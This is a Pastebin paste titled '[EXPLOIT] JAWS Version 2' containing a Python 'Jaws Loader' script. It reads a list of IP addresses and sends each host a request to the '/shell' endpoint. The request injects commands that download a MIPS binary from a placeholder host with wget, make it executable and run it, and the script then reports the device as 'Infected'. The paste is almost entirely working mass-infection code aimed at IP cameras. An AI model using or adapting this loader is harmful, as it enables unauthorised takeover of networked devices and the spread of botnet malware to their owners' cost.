Merlyz

[EXPLOIT] JAWS Version 2

Oct 12th, 2020 (edited)
212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.39 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # Jaws Loader
  4.  
  5. import random, socket, time, sys, requests, re, os
  6. from sys import stdout
  7. from Queue import *
  8. from threading import Thread
  9.  
  10.  
  11. if len(sys.argv) < 2:
  12.     sys.exit("usage: python %s <input list> <port>" % (sys.argv[0]))
  13.  
  14. ips = open(sys.argv[1], "r").readlines()
  15. port = sys.argv[2]
  16. queue = Queue()
  17. queue_count = 0
  18.  
  19. def send_payload(host):
  20.         url = "http://" + host + ":" + port + "/shell?cd /tmp;wget http:/\/IP_HERE/mips -O gg; chmod 777 gg; ./gg IpCams; "
  21.         try:
  22.             output = requests.get(url, timeout=3)
  23.             if output.status_code == int('200'):
  24.                 print "\x1b[1;31m[\x1b[1;37mTempus\x1b[1;31m]\x1b[1;37m Infected \x1b[1;31m[\x1b[1;36m%s\x1b[1;31m]" % (host)
  25.     except:
  26.         pass
  27.     return
  28.  
  29. def main():
  30.  
  31.     global queue_count
  32.     for line in ips:
  33.         line = line.strip("\r")
  34.     line = line.strip("\n")
  35.         queue_count += 1
  36.         sys.stdout.write("\r[%d] Added to queue" % (queue_count))
  37.         sys.stdout.flush()
  38.         queue.put(line)
  39.     sys.stdout.write("\n")
  40.     i = 0
  41.     while i != queue_count:
  42.         i += 1
  43.         try:
  44.             input = queue.get()
  45.             thread = Thread(target=send_payload, args=(input,))
  46.             thread.start()
  47.         except KeyboardInterrupt:
  48.             os.kill(os.getpid(),9)
  49.     thread.join()
  50.     return
  51.  
  52. if __name__ == "__main__":
  53.     main()
  54.  
Add Comment
Please, Sign In to add comment